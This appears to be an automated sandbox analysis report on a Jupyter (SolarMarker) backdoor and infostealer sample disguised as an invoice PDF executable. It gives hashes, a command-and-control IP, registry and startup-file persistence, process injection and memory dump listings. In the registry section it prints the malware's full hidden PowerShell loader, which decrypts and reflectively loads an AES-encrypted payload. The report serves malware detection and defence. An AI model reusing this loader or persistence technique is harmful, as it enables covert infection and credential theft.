jupyter | dbba073f0c88fe42a7614b65cb8db2f5ad346fdfb1e21763288d2d73e65c9b6f

Analysis

max time kernel
152s
max time network
158s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
17/04/2024, 00:04

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General

Target

Tools-Invoice.pdf.exe
Size

272.0MB
MD5

19ec298f977fdc71f195a4782fa8b156
SHA1

4a6035ce7510a7cc02bb785244e2cfcaec89131d
SHA256

32b42c8c10ce7ec03005931d079fe7bb7f0e5b36bcf57a789081c6f7787e630c
SHA512

d8cd8e043c24998d41b06ed0de8a8628389dab04be583094e68f5660ccc666dc260367297d373c800869fe36878aa8730fe35c2eb0b1e6631c0c2fec338b2391
SSDEEP

49152:Uj+t6IRUEFX1PVv3Gfbs8HuQq1nvHol6Kz3DfjkJO:Uj+tNtV/AAFBH9yzLt

Score

10^/10

jupyter backdoor stealer trojan

Malware Config

Extracted

Family

jupyter

http://146.70.71.174

Signatures

Jupyter, SolarMarker
Jupyter is a backdoor and infostealer first seen in mid 2020.
backdoor trojan stealer jupyter

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IGkyfEbUaMfoDlfVRjFNGDzVu.ppYERxDIBNXzrxpfvEsgVIFHvZOUVc	Tools-Invoice.pdf.exe

Executes dropped EXE 1 IoCs

pid	Process
1716	TvtuziedoTs.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 7 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1658372521-4246568289-2509113762-1000_CLASSES\azuihrtvmuiivbsmfcs\shell\open	Tools-Invoice.pdf.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1658372521-4246568289-2509113762-1000_CLASSES\azuihrtvmuiivbsmfcs\shell\open\command\ = "powershell -windowstyle hidden -command \"$AC=New-Object System.Security.Cryptography.AesCryptoServiceProvider;$AC.Key=[Convert]::FromBase64String('4tlPZeU/u3NIcXTiv65iMu84tVLO8U2c+xIHrjnZmxo=');$EB=[Convert]::FromBase64String([IO.File]::ReadAllText([System.Text.Encoding]::Utf8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxJR2t5ZkViVWFNZm9EbGZWUmpGTkdEelZ1LnBwWUVSeERJQk5YenJ4cGZ2RXNnVklGSHZaT1VWYw=='))));$AC.IV = $EB[0..15];$Decryptor=$AC.CreateDecryptor();$UB=$Decryptor.TransformFinalBlock($EB, 16, $EB.Length-16);$AC.Dispose();[Reflection.Assembly]::Load($UB);[rt8wjQPEtmlcqs2iZrKuC47aQbTVEoFCYALe76hrb9pjqI8TnDQI_jjI0fyLqYCg.F5YiBpBH3_z]::QcCj8u48mNjtGnV7OG0X1ZnL892XAoU7zbmgVpCcAaUUbOZCUGvAYET2YXVRYaeFftCcN();\""	Tools-Invoice.pdf.exe
Key created	\REGISTRY\USER\S-1-5-21-1658372521-4246568289-2509113762-1000_CLASSES\.ppyerxdibnxzrxpfvesgvifhvzouvc	Tools-Invoice.pdf.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1658372521-4246568289-2509113762-1000_CLASSES\.ppyerxdibnxzrxpfvesgvifhvzouvc\ = "azuihrtvmuiivbsmfcs"	Tools-Invoice.pdf.exe
Key created	\REGISTRY\USER\S-1-5-21-1658372521-4246568289-2509113762-1000_CLASSES\azuihrtvmuiivbsmfcs\shell\open\command	Tools-Invoice.pdf.exe
Key created	\REGISTRY\USER\S-1-5-21-1658372521-4246568289-2509113762-1000_CLASSES\azuihrtvmuiivbsmfcs	Tools-Invoice.pdf.exe
Key created	\REGISTRY\USER\S-1-5-21-1658372521-4246568289-2509113762-1000_CLASSES\azuihrtvmuiivbsmfcs\shell	Tools-Invoice.pdf.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2624	Tools-Invoice.pdf.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
1716	TvtuziedoTs.exe
1716	TvtuziedoTs.exe
1716	TvtuziedoTs.exe
1716	TvtuziedoTs.exe
1716	TvtuziedoTs.exe
1716	TvtuziedoTs.exe
1716	TvtuziedoTs.exe
1716	TvtuziedoTs.exe
1716	TvtuziedoTs.exe
1716	TvtuziedoTs.exe
1716	TvtuziedoTs.exe
1716	TvtuziedoTs.exe
1716	TvtuziedoTs.exe
1716	TvtuziedoTs.exe
1716	TvtuziedoTs.exe
1716	TvtuziedoTs.exe
1716	TvtuziedoTs.exe
1716	TvtuziedoTs.exe
1716	TvtuziedoTs.exe
1716	TvtuziedoTs.exe
1716	TvtuziedoTs.exe
1716	TvtuziedoTs.exe
1716	TvtuziedoTs.exe
1716	TvtuziedoTs.exe
1716	TvtuziedoTs.exe
1716	TvtuziedoTs.exe
1716	TvtuziedoTs.exe
1716	TvtuziedoTs.exe
1716	TvtuziedoTs.exe
1716	TvtuziedoTs.exe
1716	TvtuziedoTs.exe
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1716	TvtuziedoTs.exe
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1716	TvtuziedoTs.exe
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1716	TvtuziedoTs.exe
1716	TvtuziedoTs.exe
1716	TvtuziedoTs.exe
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1716	TvtuziedoTs.exe
1716	TvtuziedoTs.exe
1716	TvtuziedoTs.exe
1716	TvtuziedoTs.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 2000 wrote to memory of 1716	2000	Tools-Invoice.pdf.exe	28
PID 2000 wrote to memory of 1716	2000	Tools-Invoice.pdf.exe	28
PID 2000 wrote to memory of 1716	2000	Tools-Invoice.pdf.exe	28
PID 2000 wrote to memory of 1716	2000	Tools-Invoice.pdf.exe	28
PID 2000 wrote to memory of 2624	2000	Tools-Invoice.pdf.exe	29
PID 2000 wrote to memory of 2624	2000	Tools-Invoice.pdf.exe	29
PID 2000 wrote to memory of 2624	2000	Tools-Invoice.pdf.exe	29

C:\Users\Admin\AppData\Local\Temp\Tools-Invoice.pdf.exe
"C:\Users\Admin\AppData\Local\Temp\Tools-Invoice.pdf.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2000
- C:\Users\Admin\AppData\Local\Temp\TvtuziedoTs.exe
  "C:\Users\Admin\AppData\Local\Temp\TvtuziedoTs.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  PID:1716
- C:\Users\Admin\AppData\Local\Temp\Tools-Invoice.pdf.exe
  "C:\Users\Admin\AppData\Local\Temp\Tools-Invoice.pdf.exe" /s
  2⤵
  - Drops startup file
  - Modifies registry class
  - Suspicious use of AdjustPrivilegeToken
  PID:2624

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\TvtuziedoTs.exe

Filesize
997KB

MD5
dbc534854dd385e59a3f1906ddfb9020

SHA1
2b3062d82232ce10a8713829199769ff0d12e0fc

SHA256
06486febb76aaa7bf469ba1bf46a92c4eafc42a5626646184e8865c862d09dd0

SHA512
1506fbc8fca0a3ca06e24fdae2fb9e8cb345fd6197f5cbbaa990490cc20a25b72906ab9668725f29c0bfce6528bd7dca5dc15ca0ac3c0327d1876e58e3d47951

Download Submit
memory/1716-14-0x0000000000300000-0x0000000000301000-memory.dmp

Filesize
4KB

Download
memory/1716-9-0x0000000000300000-0x0000000000301000-memory.dmp

Filesize
4KB

Download
memory/1716-12-0x0000000000400000-0x0000000000500000-memory.dmp

Filesize
1024KB

Download
memory/2000-1-0x000007FEF5180000-0x000007FEF5B6C000-memory.dmp

Filesize
9.9MB

Download
memory/2000-10-0x000007FEF5180000-0x000007FEF5B6C000-memory.dmp

Filesize
9.9MB

Download
memory/2000-0-0x0000000000890000-0x0000000000ACE000-memory.dmp

Filesize
2.2MB

Download
memory/2624-20-0x00000000003C0000-0x00000000003DC000-memory.dmp

Filesize
112KB

Download
memory/2624-15-0x000007FEF5180000-0x000007FEF5B6C000-memory.dmp

Filesize
9.9MB

Download
memory/2624-19-0x000000001B670000-0x000000001B952000-memory.dmp

Filesize
2.9MB

Download
memory/2624-11-0x000007FEF5180000-0x000007FEF5B6C000-memory.dmp

Filesize
9.9MB

Download
memory/2624-21-0x0000000000630000-0x0000000000678000-memory.dmp

Filesize
288KB

Download
memory/2624-22-0x00000000003E0000-0x00000000003E8000-memory.dmp

Filesize
32KB

Download
memory/2624-23-0x000000001A8E0000-0x000000001A986000-memory.dmp

Filesize
664KB

Download
memory/2624-24-0x0000000000840000-0x0000000000874000-memory.dmp

Filesize
208KB

Download
memory/2624-25-0x00000000021F0000-0x000000000223A000-memory.dmp

Filesize
296KB

Download
memory/2624-26-0x00000000003F0000-0x0000000000406000-memory.dmp

Filesize
88KB

Download
memory/2624-27-0x000000001BD40000-0x000000001BDC0000-memory.dmp

Filesize
512KB

Download
memory/2624-30-0x000000001B1B0000-0x000000001B264000-memory.dmp

Filesize
720KB

Download
memory/2624-34-0x000000001BD40000-0x000000001BDC0000-memory.dmp

Filesize
512KB

Download